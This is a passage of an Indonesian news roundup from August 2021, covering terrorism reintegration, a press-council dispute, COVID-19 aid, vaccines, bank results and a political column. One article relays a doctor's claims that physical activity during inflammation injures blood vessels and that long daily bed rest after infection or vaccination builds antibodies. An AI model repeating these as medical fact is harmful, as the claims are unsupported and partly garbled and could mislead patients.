"Akan melibatkan eks napiter, sebagai bagian dari proses reintegrasi sosial. Mereka akan kita berdayakan untuk melakukan aktivitas di kawasan tersebut," katanya. Beberapa sektor yang akan dikembangkan pada kawasan khusus tersebut, lanjutnya, antara lain sektor pertanian, perikanan, perkebunan, dan peternakan. Konsep tersebut, bertujuan untuk penanggulangan terorisme berbasis pembangunan kesejahteraan. "Jadi kesejahteraan ini, coba kita fasilitasi dengan adanya kawasan yang kita bangun," tambahnya. Dalam waktu dekat, BNPT akan segera membicarakan rencana pembangunan, dan pengembangan Kawasan Khusus Terpadu Nusantara tersebut bersama Pemerintah Provinsi Jawa Timur, dan Pemerintah Kabupaten Malang. Beberapa hal yang harus disiapkan, ujarnya, di antaranya terkait ketersediaan lahan, rencana kegiatan bidang kewirausahaan, dan pembicaraan terkait teknis pengembangan kawasan khusus tersebut. "Jadi, masih memerlukan rapat teknis lebih lanjut yang akan melibatkan tim sinergitas, BNPT dengan pemerintah daerah yang ada di Kabupaten Malang, dan Provinsi Jawa Timur," ujar Boy. (mth)

Dewan Pers Intimidasi Majalah Forum Keadilan

Jakarta, FNN – Pemimpin Redaksi Majalah Forum Keadilan, Luthfi Pattimura menyesalkan tindakan intimidatif yang dilakukan oleh Dewan Pers saat melakukan mediasi antara redaksi Majalah Forum Keadilan dengan Menteri Keuangan Republik Indonesia, Selasa, 24 Agustus 2021 melalui aplikasi zoom. Kata Luthfi, mediasi dihadiri oleh Mohamad Toha, Zainul Arifin, dan Rimbo dari pihak Majalah Forum. Pihak Dewan Pers hadir antara lain Jamalul Insan, Hassanaen Rais, Asep Setiawan, Hetamina, Moebanoe Moera, Rustam, dan dua orang lainnya. Sementara pihak pengadu yakni Kementerian Keuangan tidak hadir. Namun demikian atas permintaan Dewan Pers, mediasi tetap dilanjutkan. “Saya tidak menyangka Dewan Pers bisa bertindak gegabah seperti itu. Jika Dewan Pers juga larut dalam kepentingan penguasa, maka runtuhlah pilar demokrasi kita,” kata Luthfi kepada Bunayya Saifuddin dari FNN di Jakarta, Selasa (24/8/21). Dewan Pers kata Luthfi, seharusnya menjadi penengah ketika ada sengketa pemberitaan, akan tetapi terkesan bertindak tidak adil dan berpihak kepada salah satu pihak dalam hal ini Kementerian Keuangan. “Ini jelas mengingkari tujuan dibentuknya Dewan Pers oleh negara,” katanya. Oleh karena itu Luthfi sebagai Pemimpin Redaksi Majalah Forum langsung mengirimkam surat protes bernomor: 054/RM-FK/VIII/2021 kepada Dewan Pers beberapa saat setelah mediasi berlangsung. Kopi surat itu juga dikirim ke redaksi FNN. Adapun isi keberatan Majalah Forum adalah: Bersama ini Majalah FORUM Keadilan menyatakan keberatan dan protes kepada Dewan Pers terhadap model dan substansi pertemuan (mediasi) antara Majalah FORUM Keadilan dengan pengadu (Kementerian Keuangan). Adapun keberatan Majalah FORUM Keadilan adalah sebagai berikut : Bahwa tindakan Dewan Pers dalam memediasi pengaduan Kementerian Keuangaan terhadap artikel majalah FORUM NomoR 22, edisi 01 -14 Agustus 2021, dengan judul “Rp 75 MILIAR UNTUK XI DPR HANCURKAN BPK” adalah merupakan perintah UU Nomor 40 Tahun 1999 Tentang Pers. Bahwa artikel dengan judul “Rp 75 MILIAR UNTUK XI DPR HANCURKAN BPK” adalah produksi resmi Redaksi Majalah FORUM Keadilan. Bahwa Dewan Pers telah lebih dahulu melakukan penyelidikan atas status kewartawanan wartawan kami, saudara Luqman Ibrahim Soemay adalah langkah mencampuri urusan internal redaksi Majalah FORUM Keadilan. Bagi kami, sikap ini menandai Dewan Pers telah bertindak sebagai penyelidik yang mewakili kepentingan pengadu, dalam hal ini Kementerian Keuangan. Bahwa tidak itu saja, sikap yang menyelidiki status kewartawanan Luqman Ibrahim Soemay dan proses produksi berita di redaksi, juga menandai Dewan Pers telah dengan sengaja dan nyata-nyata melanggar pasal 10 UU Nomor 40 tahun 1999 tentang Pers. Esensi pasal ini adalah perusahaan pers diberikan hak untuk menyembunyikan atau tidak memberitahukan atau tidak menunjukkan atau melindungi nama nara sumber berita. Bahwa, sesuai dengan substansi konsep mediasi, Dewan Pers, terlepas dari metode mediasi, harus memastikan bahwa pihak pengadu yang merasa dirugikan dengan pemberitaan Majalah FORUM Keadilan dalam forum mediasi tersebut. Bukan sebaliknya, membiarkan pengadu tidak hadir, dan Dewan Pers memposisikan diri seolah-olah mewakili kepentingan Kementerian Keuangan. Bahwa Majalah FORUM Keadilan menilai bahwa Dewan Pers pada angka (4) di atas, terlihat Dewan Pers berfungsi sebagai reinkarnasi Ditjen Pembinaan Pers dan Grafika (Ditjen PPG) Departemen Penerangan era Orde Baru yang pada masa itu menjadi lembaga super body. Majalah FORUM Keadilan harus memberitahukan Dewan Pers bahwa status super body itulah yang merusak dunia pers. Itu sebabnya lembaga ini dibubarkan, sehingga lahirlah Dewan Pers. Bahwa Majalah FORUM Keadilan ingin agar Dewan Pers bersikap profesional dalam menjalankan tugasnya. Dalam hubungan itu, kami sungguh sangat keberatan terhadap sikap Dewan Pers yang mempersoalankan proses prooduksi pemberitaan di internal redaksi Majalah FORUM Keadilan. Bahwa Majalah FORUM Keadilan kebaratan dengan pernyataan Dewan Pers di akhir pertemuan zoom yang menyatakan bahwa pertemuan ini deadlock. Majalah FORUM Keadilan dengan tegas menolak penilaian atau sikap tersebut, karena tidak ada yang dimediasi yang dilakukan kok ada deadlock? Pengadu tidak hadir dalam pertemuan tersebut, sehingga apa yang deadlock? Oleh karena itu tidak ada dasar sama-sekali untuk dibuat sebuah rekomendasi dalam pengaduan ini. Bahwa Majalah FORUM Keadilan menilai, sikap Dewan Pers dengan pertanyaan-pertanyaan pertemuan tadi, sebagai bentuk dan cara terselubung mengintimidasi pers yang bebas, independen, dan bertanggung jawab. Bahwa sekali Majalah FORUM Keadilan mengharapkan Dewan Pers untuk tidak menjadi penyelidik dalam mediasi ini. Untuk itu, kami sangat keberatan, bila mediasi berikutnya tidak dihadiri oleh pihak pengadu. Bahwa Majalah FORUM Keadilan keberatan dengan pengunduran waktu zoom. Majalah FORUM Keadilan mencurigai bahwa pengunduran waktu tersebut, menandai ketidaksiapan Dewan Pers, sehinggu masih perlu dibrifing dan dikonsolidasi. Apa saja materi yang dibrifing dan dikonsolidasikan, kami tidak mengerti. Namun kami sadar bahwa pengunduran waktu tersebut sebagai cara Dewan Pers untuk menyudutkan kami. Bahwa kalau begini kenyataannya, maka Majalah FORUM Keadilan beranggapan bahwa Dewan Pers telah nyata-nyata memposisikan diri sebagai pengadu, sekaligus merangkap sebagai penyelidik. Jadinya, Majalah FORUM Keadilan berhadapan dengan pangadu yang juga marangkap sebagai penyelidik. Sikap Dewan Pers ini jelas sangat tidak fair, bahkan bertentangan dengan UU Nomor 40 Tahun 1999 Tentang Pers. Bahwa untuk alasan yang berkaitan dengan fitnah, tendensius, tidak sesuai fakta, hanya asumsi dan sejeninsnya itulah, maka masyarakat pers universal mempersilahkan para pihak yang merasa dirugikan dengan setiap pemberitaan untuk menggunakan "HAK JAWAB". Bahwa "HAK JAWAB" yang diwajibkan oleh masyarakat pers universal tersebut, telah diadopsi ke dalam sistem hukum positif kita, yaitu UU Nomor 40 Tahun 1999 Tentang Pers yang secara imprerative memerintahkan dan mewajibkan perusahaan pers, termasuk kami Majalah FORUM untuk memuat secara utuh setiap bantahan dan jawaban berupa "HAK JAWAB" dari pihak yang merasa dirugikan, dalam hal ini Kementerian Keuangan. Bahwa sebagai Dewan Pers yang benar, legitimate dan mengerti UU, pastinya bukan Dewan Pers yang tak memahami undang-undang, dengan hormat kami mengharapkan kepada Dewan Pers untuk dapat memastikan agar Kementerian Keuangan segera memberikan tanggapan dan bantahan sebagai realisasi atas "HAK JAWAB" tersebut secepatnya. Majalah FORUM Keadilan setia menunggu penggunaan "HAK JAWAB" tersebut. Jakarta, 24 Agustus 2021 Luthfi Pattimura Pemimpin Redaksi Surat protes ini ditulis sesuai aslinya dengan sedikit membetulkan typo. (bs)

Indonesia Terima Pinjaman Tangki Oksigen Cair dari India

Jakarta, FNN - Indonesia kembali menerima dukungan dari pemerintah India berupa pinjaman 10 unit tangki oksigen (ISO tank) berkapasitas masing-masing 20 metrik ton (MT) oksigen cair (liquid medical oxygen/LMO) untuk membantu penanganan pandemi COVID-19. Dukungan tersebut tiba di Pelabuhan Tanjung Priok, Jakarta, pada Selasa siang dan diserahterimakan oleh Duta Besar India untuk Indonesia Manoj Kumar Bharti kepada Kementerian Kesehatan RI yang diwakili oleh Plh. Kepala Pusat Krisis Kesehatan Sumarjaya. Tangki-tangki itu akan langsung disalurkan ke wilayah Jawa Timur, Yogyakarta, dan Sumatra dengan dukungan transportasi dari Pertamina, demikian keterangan tertulis Kementerian Luar Negeri RI. Sebagai mitra komprehensif strategis yang memiliki kedekatan dari akar sejarah dan budaya, pemerintah Indonesia menyampaikan apresiasi dan rasa terima kasih kepada pemerintah India. Sebelumnya pada 24 Juli 2021, pemerintah India juga telah member​ikan hibah 300 konsentrator oksigen dan 100 MT oksigen cair kepada Indonesia. Sumarjaya berharap kerja sama antara kedua negara dapat terus diperkuat dan diperluas, baik saat pandemi maupun di masa mendatang. Dubes India untuk Indonesia saat serah terima mengatakan bahwa dukungan tersebut sekali lagi membuktikan kedekatan kedua negara yang tidak hanya secara geografis, tetapi juga dalam kemitraan kerja sama di bidang-bidang strategis. Indonesia dan India akan terus berkomitmen memperkuat dan mengembangkan kerja sama di berbagai bidang, baik dalam lingkup bilateral, regional, dan multilateral, serta saling bahu-membahu dalam upaya pemulihan kondisi ekonomi dan kesehatan yang terdampak pandemi COVID-19. (mth)

Kapolda NTB Dorong Kabupaten/Kota Agar Konsisten Turunkan Level PPKM

Mataram, FNN - Kepala Kepolisian Daerah Nusa Tenggara Barat Irjen Pol Mohammad Iqbal mendorong seluruh kabupaten/kota di daerah ini agar konsisten menurunkan level pemberlakuan pembatasan kegiatan masyarakat (PPKM) "Ini sebenarnya 'warning', karena kita belum turun ke level dua. Jadi saya mendorong semua yang terlibat dalam penanganan COVID-19 di kabupaten/kota untuk jangan terlena," kata Iqbal di Mataram, Selasa. Karena itu, ia tak henti mengingatkan bahwa strategi dalam mengantisipasi dan menekan angka penyebaran COVID-19 di tengah masyarakat, yakni dengan tetap menjaga protokol kesehatan (prokes), membatasi kegiatan masyarakat, dan memperluas cakupan vaksinasi secara masif. Sesuai dengan Instruksi Menteri Dalam Negeri (Inmendagri) Nomor 37/2021, katanya, ada 9 kabupaten/kota di NTB yang masuk dalam PPKM level 3 meliputi Kota Mataram, Lombok Barat, Lombok Tengah, Lombok Utara, Lombok Timur, Sumbawa, Sumbawa Barat, Bima, Kota Bima, sedangkan Kabupaten Dompu kini sudah berada pada PPKM level 2. Pada ketentuan PPKM level 3, katanya, masih ada aturan yang menetapkan pembatasan-pembatasan kegiatan masyarakat. Ketentuan itu, antara lain memperbolehkan pembelajaran tatap muka terbatas maksimal 50 persen kapasitas, pelaksanaan kegiatan di tempat kerja maksimal 25 persen, dan 75 persen bekerja dari rumah. Kemudian, sektor esensial dapat beroperasi 100 persen, tetapi dengan penerapan protokol kesehatan yang ketat. Namun, apabila ditemukan klaster penyebaran COVID-19 di tempat tersebut maka akan ditutup selama lima hari. Ia mengatakan pasar tradisional dan pedagang kaki lima diizinkan buka. Sementara aturan makan minum di tempat makan, seperti warung tetap diatur jam bukanya. Rumah makan dan restoran diperbolehkan menyediakan makan di tempat dengan kapasitas maksimal 25 persen. Pusat perbelanjaan dan mal boleh dibuka dengan pengaturan maksimal kapasitas 50 persen. Tempat ibadah dapat mengadakan kegiatan keagamaan berjamaah maksimal 50 persen. Demikian pula dengan kegiatan seni, budaya, dan sosial yang menimbulkan keramaian diizinkan dengan maksimal 50 persen. Tempat wisata dan area publik seperti taman umum diizinkan buka maksimal kapasitas 50 persen. Kegiatan olahraga diperbolehkan tetapi tetap tanpa penonton serta kegiatan resepsi pernikahan diperbolehkan dengan maksimal 50 persen kapasitas. (mth)

Kementerian BUMN Apresiasi Pertumbuhan Laba BRI pada Kuartal II 2021

Jakarta, FNN - Kementerian BUMN mengapresiasi pertumbuhan laba PT Bank Rakyat Indonesia (Persero) Tbk atau BRI mencapai dobel digit pada kuartal II 2021, yang didukung transformasi digital dan budaya melalui penerapan nilai inti amanah, kompeten, harmonis, loyal, adaptif, dan kolaboratif atau AKHLAK. Staf Khusus III Menteri BUMN Arya Sinulingga menilai pertumbuhan laba bank BRI yang sampai akhir kuartal II 2021 mencapai Rp12,54 triliun atau meningkat 22,93 persen dibandingkan periode sama 2020, merupakan langkah yang sangat baik. "Ini adalah hasil dari transformasi digital yang dilakukan oleh BRI. Apalagi setelah pandemi kita tahu bahwa digitalisasi merupakan satu langkah penting dan BRI berhasil mengantisipasi kondisi pandemi dengan melakukan digitalisasi terhadap layanan-layanannya," ujarnya dalam keterangan resmi yang diterima di Jakarta, Selasa. Akibatnya, terjadi pertumbuhan yang sangat tinggi untuk pemakaian layanan digitalnya. Contohnya untuk kredit UMKM, ultra mikro dan sebagainya naik 106 persen dibandingkan sebelumnya dengan pemakaian digital, demikian juga dengan yang lainnya. "Jadi, kemampuan transformasi digital ini kita melihat kemampuan BRI. BRI bisa mengantisipasi dinamika situasi yang berkembang dan masyarakat juga menikmati layanan digital tersebut sehingga tidak heran kalau UMKM banyak mengajukan permohonan kredit lewat digital di bank BRI," kata Arya. Di samping itu, pandemi COVID-19 mendorong budaya yang memang sudah dibangun sejak 2020, budaya dengan nilai inti AKHLAK mendorong transformasi budaya tersebut. "Walaupun banyak kawan BRI yang bekerja dari rumah, ternyata mereka mampu mempertahankan kualitas pekerjaannya. Dan, ini semua tidak lepas dari nilai inti AKHLAK yang sudah kita tanamkan pada SDM bank BRI," katanya Kementerian BUMN sangat mengapresiasinya karena UMKM Indonesia akan semakin banyak terbantu apalagi lebih dari 80 persen kredit yang disalurkan oleh BRI itu 80 persennya untuk pelaku sektor tersebut. Sebelumnya, Direktur Utama BRI Sunarso mengungkapkan perseroan mencatatkan laba Rp12,54 triliun sampai akhir kuartal II 2021 atau tumbuh 22,93 persen dibandingkan periode sama 2020. Sunarso merinci BRI menyalurkan kredit mikro sebesar Rp366,56 triliun sampai akhir kuartal II 2021 atau tumbuh 17 persen secara tahunan (year on year). Pertumbuhan penyaluran kredit mikro ini memperkuat komitmen BRI untuk fokus dalam pengembangan bisnis mikro, dengan komposisi kredit mikro mencapai 39,44 persen dari total penyaluran kredit BRI. (mth)

KSP Dorong Percepatan Pembangunan Dermaga Lantamal VI Makassar

Jakarta, FNN - Kepala Staf Kepresidenan, Jenderal TNI (Purnawirawan) Moeldoko, mendorong percepatan pembangunan dermaga Pangkalan TNI AL VI/Makassar, agar kelak dapat memperkuat keamanan Makassar New Port, Sulawesi Selatan. Hal tersebut disampaikan Moeldoko saat memfasilitasi penandatanganan perjanjian kerja sama pembangunan instalasi militer itu, oleh TNI dan sejumlah pihak terkait di Gedung Bina Graha, Jakarta, Selasa. "Saya meminta kepada semua pihak agar seluruh proses, khususnya perizinan, dapat dipercepat sehingga pembangunan dermaga Lantamal VI/Makassar dan fasilitas pendukung lainnya dapat segera dimulai setelah perjanjian kerja sama ditandatangani hari ini,” ujar Moeldoko. Moeldoko menyatakan dukungannya terhadap pembangunan infrastruktur sebagai penopang utama kegiatan perekonomian masyarakat, yang diintegrasikan dengan peningkatan fasilitas ketahanan dan keamanan, dalam hal ini Makassar New Port dan pembangunan dermaga Pangkalan Utama TNI AL VI/Makassar. Ia meminta komitmen seluruh pihak untuk menjamin kelancaran pembangunan Makassar New Port yang merupakan infrastruktur terbesar di Indonesia timur, termasuk juga dermaga Pangkalan Utama TNI AL VI/Makassar. Dalam acara penandatanganan itu hadir para pihak terkait yakni Kepala Staf TNI AL, Laksamana TNI Yudo Margono, Direktur Jenderal Perhubungan Laut Kementerian Perhubungan, Agus H Purnomo, Direktur Utama PT Pelabuhan Indonesia IV, Prasetyadi, perwakilan dari Kementerian Kelautan dan Perikanan, serta perwakilan Kementerian Lingkungan Hidup dan Kehutanan. Para pihak menandatangani perjanjian kerja sama yang mencakup pembangunan fisik dermaga seukuran 150 meter x 12 meter, pembangunan trestle (jalan akses dari daratan) menuju dermaga, dan lain sebagainya. Margono menyatakan pembangunan dermaga itu akan membantu kemajuan bangsa. "Pembangunan infrastruktur dan konektivitas maritim merupakan salah satu pilar poros maritim dunia yang utama. Namun pilar poros maritim yang tak kalah penting adalah pertahanan maritim. Oleh karenanya dua hal ini harus dilakukan bersama-sama,” ujar dia. Makassar New Port merupakan salah satu Proyek Strategis Nasional yang mendapatkan perhatian khusus dari Presiden Joko Widodo. Makassar New Port berada dalam lokasi yang terintegrasi dengan Pelabuhan Soekarno-Hatta dan Markas Komando Pangkalan TNI AL VI/Makassar. Pelabuhan ini diharapkan menjadi penghubung transportasi dan perdagangan untuk wilayah Indonesia bagian timur serta lalu lintas internasional dari dan ke Australia. Adapun, rencana pembangunan dermaga Lantamal VI seukuran 150 meter x 12 meter di bagian sisi luar pemecah gelombang Pangkalan Utama TNI AL VI/Makassar itu permintaan TNI AL. Dermaga itu akan mewadahi kebutuhan sandar kapal perang TNI AL hingga kelas LPD (Landing Platform Dock) dan jenis fregat. Saat ini para pihak terkait tengah melakukan langkah-langkah percepatan dalam pengurusan perizinan, khususnya perizinan lingkungan yang membutuhkan dukungan dari Kementerian LHK dan Kementerian Kelautan dan Perikanan. (mth)

Vietnam Sebut Kuba Akan Pasok Vaksin COVID, Transfer Teknologi

Hanoi, FNN - Kuba akan memasok sejumlah besar vaksin COVID-19 buatan dalam negerinya, Abdala, dan juga mentransfer teknologi produksi vaksinnya ke Vietnam pada akhir 2021. Hal itu disampaikan oleh kementerian kesehatan Vietnam pada Selasa. Setelah berhasil mencegah penyebaran COVID-19 untuk sebagian besar masa pandemi, Vietnam telah kembali berjuang untuk mengendalikan wabah terburuknya hingga saat ini. Vietnam baru-baru ini mengalami lonjakan kasus infeksi virus corona dan kematian akibat COVID-19 yang meningkatkan tekanan pada pihak berwenang untuk mempercepat vaksinasi. "Kuba akan mengirim sejumlah besar dosis vaksin COVID dan satu tim ke Vietnam untuk mendukung transfer teknologi vaksin pada akhir tahun ini," kata kementerian kesehatan Vietnam dalam sebuah pernyataan, tanpa menyebutkan jumlah dosis vaksin yang diberikan Kuba. Kuba mengatakan tiga suntikan vaksin Abdala 92,28 persen efektif melawan viruus corona dalam uji klinis tahap terakhir pada Juni. Vietnam sejauh ini telah menandatangani kesepakatan untuk transfer teknologi protein DNA rekombinan dan vaksin mRNA serta sedang dalam pembicaraan dengan perusahaan farmasi Amerika Serikat Pfizer tentang pendirian pabrik vaksin di negara Asia Tenggara itu. Vietnam pun telah mengamankan lebih dari 23 juta dosis vaksin COVID-19 dan mengharapkan untuk menerima setidaknya 50 juta dosis pada kuartal keempat (tahun 2021), kata kementerian kesehatan negara itu. Program vaksinasi Vietnam, yang dimulai pada Maret, masih pada tahap awal dengan hanya 1,9 persen dari 98 juta penduduk negara itu yang telah divaksin penuh. Vietnam merupakan salah satu negara dengan tingkat vaksinasi terendah di wilayah Asia Tenggara. (mth)

Jejas Vaskuler dan "Bed Rest"

Tanjungpinang, FNN - Ada yang menarik dari pernyataan Dr. dr. Hisnindarsyah, SE, MKes, MH, CFEM, dokter di salah satu rumah sakit di Tanjungpinang. Menurutnya, meningkatnya kasus kematian pasien isoman, reinfeksi, hingga kematian pasca vaksinasi telah menimbulkan beragam spekulasi. Tetapi, ada satu hal yang terlupakan, yaitu tentang pentingnya memahami jejas vaskular atau luka pada dinding pembuluh darah atau endothelial injury dan Bed Rest (istirahat total). Jejas Vaskuler (Endothelial Injury) adalah luka pada dinding pembuluh darah bagian dalam (endotel). Ada banyak faktor penyebab jejas vaskuler, salah satunya adalah karena reaksi inflamasi. Kala ada luka akibat infeksi virus, maka jaringan tersebut akan mengeluarkan sinyal kemokin untuk memanggil makrofag. Lalu makrofag datang untuk memakan jaringan yang rusak dan memakan patogennya juga (virus). Kemudian makrofagakan mengeluarkan sinyal sitokin yang akan memberikan pesan kepada endotel untuk membuka pintu agar teman-teman pasukan darah putih yang lain bisa keluar. Ketika sitokin sampai pada endotel, dia akan mengaktivasi reseptor selectin. “Selectin ini sensitif dengan karbohidrat yang dimiliki oleh neutrofil. Sehingga, jika ada sitokin, neutrofil akan bergerak lebih pelan,” jelas Dokter Hisnindarsyah. Neutrofil juga memiliki reseptor integrin. Integrin ini berikatan dengan reseptor yang dimiliki endotel, yaitu ICAM. Adanya ikatan antara Integrin dan ICAM akan menyebabkan neutrofil berhenti bergerak di daerah sekitar luka. Kemudian jaringan yang luka tersebut akan memberi sinyal untuk pengeluaran Bradikinin. Bradikinin adalah zat kimia yang bisa membuka celah endotel (hipermiabilitas). Sehingga ketika celah endotel terbuka, neutrofil bisa keluar dari pembuluh darah menuju sel/jaringan yang luka/rusak itu lalu memakannya. Lalu Bradikinin juga akan mengaktifkan sel mast. Dimana sel mast iniakan mengeluarkan histamin. Histamin bisa melebarkan dinding-dinding pembuluh darah pada endotel kapiler sehingga terjadi kebocoran plasma dan sel darah merah. Yang mengakibatkan terjadinya pembengkakan dan warna kemerah-merahan. Bradikinin ini 0juga akan mengaktifkan prostaglandin di sel endotel sehingga prostaglandin bisa merangsang sel saraf dan memunculkan rasa nyeri. Untuk itulah mengapa ketika terjadi inflamasi (peradangan) akan muncul 5 tanda, yaitu Kalor (demam), Tudor (nyeri), Rubor (kemerahan), Tumor (bengkak), dan fungtio laesa (penurunan fungsi). Penurunan fungsi pada kasus Covid-19 ditandai dengan Anosmia (hilangnya penciuman), karena lokasi infeksinya berada pada nasofaring yang dimana pada lokasi tersebut terdapat serabut saraf pembau. Nah, jika saat tubuh sudah kasih 5 tanda radang itu artinya tubuh minta istirahat. Stop dulu aktivitasnya. Karena para agen radang ini akan membanjiri seluruh aliran darah dari ujung kepala hingga ujung kaki. Seluruh dinding pembuluh darah termasuk endothelial artery dalam posisi hipermiabel, berdilatasi (melebar dan melunak) akibat kerja agen radang tadi. Jika tubuh diistirahatkan, maka kerja jantung akan melambat. Aliran darah menjadi lebih ringan. Low Blood Flow. Kondisi pembuluh darah saat terjadi inflamasi, berdilatasi dan dindingnya hipermiabel. Yaitu dinding vaskuler menipis, melunak, dan melebar. Ini sebagai upaya membuka celah dinding endotel untuk tempat keluarnya sel darah putih ke sel yang luka akibat infeksi virus tersebut. Namun, jika tidak rebahan atau tiduran, maka jantung akan memompa darah lebih cepat. Akibatnya, aliran darah bisa kencang dan turbulen melewati dinding endotel yang sedang berhipermiabel itu. Adanya gesekan aliran darah kencang bisa melukai dinding endotel. Luka pada endotel itulah yang disebut endothelial injury atau jejas vaskuler. Untuk meminimalisir terjadinya luka, maka aktivitas fisik harus dikurangi. Oleh karena itu, menjadi penting untuk memahami perlunya bedrest saat mulai timbul gejala infeksi. Begitu pula pada saat isolasi mandiri dan paska isoman. Termasuk setelah menerima vaksin. “Sangat disarankan untuk bed rest minimal 10-12 jam per hari, untuk memberikan kesempatan pada tubuh, membentuk sel antibodi,” kata Dokter Hisnindarsyah. (mth)

Bank Indonesia Kembali Beli Surat Berharga Negara

Jakarta, FNN - Bank Indonesia kembali membeli Surat Berharga Negara (SBN) sebagai bentuk koordinasi dengan pemerintah memenuhi panggilan negara dalam mengatasi masalah kesehatan dan kemanusiaan dari dampak pandemi Covid-19. “BI terpanggil dan tentu saja berkomitmen penuh bersama pemerintah dan berbagai pihak memenuhi panggilan negara untuk kesehatan dan kemanusiaan. Inilah spirit yang memotivasi kerjasama yang erat dalam melakukan penanganan kesehatan dan penyelamatan kemanusiaan akibat Covid- 19,” kata Gubernur Bank Indonesia Perry Warjiyo saat konferensi pers secara daring, Selasa, 24 Agustus 2021. Perry menjelaskan, merebaknya varian Delta menyebabkan kenaikan yang tidak terduga terhadap biaya penanganan kesehatan dan kemanusiaan dalam APBN tahun 2021 dan 2022. Hal tersebut tidak hanya menyebabkan kemampuan fiskal untuk mendorong ekonomi menjadi semakin terbatas, namun beban negara semakin tinggi. “Terutama juga penerbitan SBN dengan bunga pasar, tentu saja tidak hanya menyebabkan beban negara yang tinggi , juga tidak sejalan dengan asas kesehatan dan kemanusiaan,” ujar Perry sebagaimana dikutip dari Antara. Alasan lainnya, lanjut Perry, BI ingin mengurangi beban anggaran negara yang diwujudkan dengan pembelian atas SBN yang diterbitkan oleh pemerintah di pasar perdana secara private placement. “Seluruh SBN ini adalah SBN yang marketable yang bisa kemudian oleh BI bisa digunakan sebagai instrumen operasi moneter dan suku bunga yang lebih rendah dari pasar yaitu reverse repo Bank Indonesia tenor 3 bulan,” jelasnya. Selain itu, Perry juga menegaskan bahwa kesepakatan berbagi beban atau burden sharing yang dituangkan dalam Surat Keputusan Bersama (SKB) 3 ini tidak akan dan tidak pernah mengurangi independensi dan kemampuan Bank Indonesia untuk melaksanakan kebijakan moneter yang pruden. “BI dalam konteks tetap bersinergi berkoordinasi dengan pemerintah secara erat juga tidak akan mempengaruhi kemampuan BI melakukan kebijakan moneter dan juga bagaimana kemampuan keuangan Bank Indonesia,” tegasnya. Adapun pemerintah dan Bank Indonesia kembali melanjutkan burden sharing untuk mendukung pendanaan APBN 2022. BI akan membeli SBN untuk APBN 2021 sebesar Rp 215 triliun dan APBN 2022 sebanyak Rp 224 triliun. (MD).

Indahnya Menunggangi Pandemi

HITUNGAN normal masa kerja rezim ini masih lama, sekitar 3 tahun lagi. Tetapi urusan waktu tampaknya tak begitu penting bagi kaum ambisius. Adalah Ketua MPR RI Bambang Soesatyo yang punya hasrat itu. Pagi-pagi ia sudah mengusulkan amandemen UUD 1945. Teorinya sih amandemen terbatas ingin memasukkan PPHN (Pokok-Pokok Haluan Negara). Kira-kira mirip konsep GBHN (Garis Besar Haluan Negera) era Orde Baru. Tujuannya agar arah pembangunan bangsa ini terarah dan terukur sehingga tidak berganti haluan setiap pergantian presiden-wakil presiden. Untuk urusan tersebut, Bambang bahkan sudah menemui Presiden Jokowi di Istana Bogor. Jokowi setuju usulan Bambang. Akan tetapi, siapa yang bisa menjamin amandemen itu hanya bicara soal PPHN? Percayakah masyarakat bahwa mereka tidak menyinggung Pasal 7 yang berpeluang melakukan perubahan masa jabatan presiden? Rasanya sulit dipercaya, apalagi Jazuli Fawaid wakil Ketua MPR dari PKB juga senapas dengan Bambang. Ditambah lagi penasihat komunitas Jokpro 2024, M. Qodari optimistis amandemen UUD 1945 soal masa jabatan presiden menjadi 3 periode sangat mungkin dilakukan apabila syarat-syarat terpenuhi. Ada sejarahnya Jokowi menolak ide Jokpro? Tak hanya itu, Menkeu Sri Mulyani berpesan agar masyarakat berhati-hati karena pandemi akan berubah menjadi endemi tahun 2022 dan seterusnya. Itu artinya, kelangsungan rezim harus diupayakan biar penanganan endemi lebih efektif. Apa iya? Tampaknya rezim ini sulit berkata jujur dan apa adanya. Dilihat dari sudut mana pun, tidak ada ukuran rezim berhasil mengelola negara dan menyejahterakan masyarakatnya. Apalagi dalam menangani wabah. Amburadul, mulai dari pendataan korban, tingginya korban meninggal, pemberlakuan lockdown, distribusi bansos (bantuan sosial) hingga meroketnya anggaran yang dikeluarkan. Belum lagi uang yang diselewengkan. Siapakah di antara 34 menteri di republik ini yang secara legowo mengakui kekurangan pemerintah? Siapakah mereka dari 565 anggota parlemen yang secara jantan menunjukkan kekeliruan pemerintah? Siapakah mereka dari puluhan lembaga yang dibentuk pemerintah secara lapang dada mengakui kebijakan rezim menimbulkan ketidakadilan. Tidak ada! Mereka semua diam, membisu menikmati kenyamanan. Mungkin saja takut bicara atau bisa jadi tidak peduli, cuek, dan acuh. Perpanjangan masa jabatan presiden tampaknya bakal mulus. Apalagi kalau melihat dukungan di kepemerintahan yang mencapai 74,1 persen, mustahil gagal. Oposisi bisa apa? Maka ketika Presiden Jokowi menolak usulan 3 periode, banyak yang tidak percaya. Akhir tahun 2019 Jokowi pernah menolak dicalonkan kembali menjadi presiden pada 2024. Ia melabeli pengusul sebagai orang yang ingin menampar mukanya dan menjerumuskannya. Akan terapi, jika kemudian ia mengangguk-angguk ajakan Ketua MPR, apakah tidak malu dibilang clutak dan kemaruk? Entahlah. Yang jelas, wacana penambahan waktu tiga tahun masa jabatan atau amandemen presiden tiga periode, terus bergulir. Mereka hari ini sedang terjangkit wabah Rumongso Biso (merasa bisa). Negara butuh pimpinan dan pembantu yang memiliki jiwa ksatria, apa adanya dan bertanggung jawab. Negeri ini tidak butuh pemimpin yang melempem, penuh polesan, dan pengecut serta tidak memiliki rasa malu. Mereka tidak malu meminta tambahan masa jabatan meskipun minim keberhasilan. Para pemimpin seharusnya bisa memetik pelajaran berharga dari wabah pandemi. Jangan sampai sebelum, selama, dan setelah pandemi, pribadi dan karakter bangsa Indonesia sama saja, tidak berubah. Para pemimpin segeralah bermuhasabah atau introspeksi diri memohon ampunan pada Tuhan, jadikan keadaan sekarang menjadi momentum menguatkan keimanan dan ketakwaan kita. Terutama kepada para pemimpin negeri, mari berintrospeksi dan bertobat. Dalam situasi sulit sekarang, sudah seharusnya semua pihak menyingkirkan ego pribadi, kelompok, dan golongan. Semua pihak harus bisa meningkatkan rasa peduli terhadap sesama. Mari hidupkan hati nurani kita untuk saling peduli terhadap sesama dan merajut kebersamaan dengan semua elemen menyelamatkan bangsa ini dari kehancuran. Pandemi jangan ditunggangi untuk segudang ambisi. Ojo rumongso biso, nanging biso rumongso (jangan merasa bisa, tetapi bisalah merasa). Petuah Jawa yang sangat mulia ini harus dimiliki setiap pemimpin.

Harga Minyak Melonjak

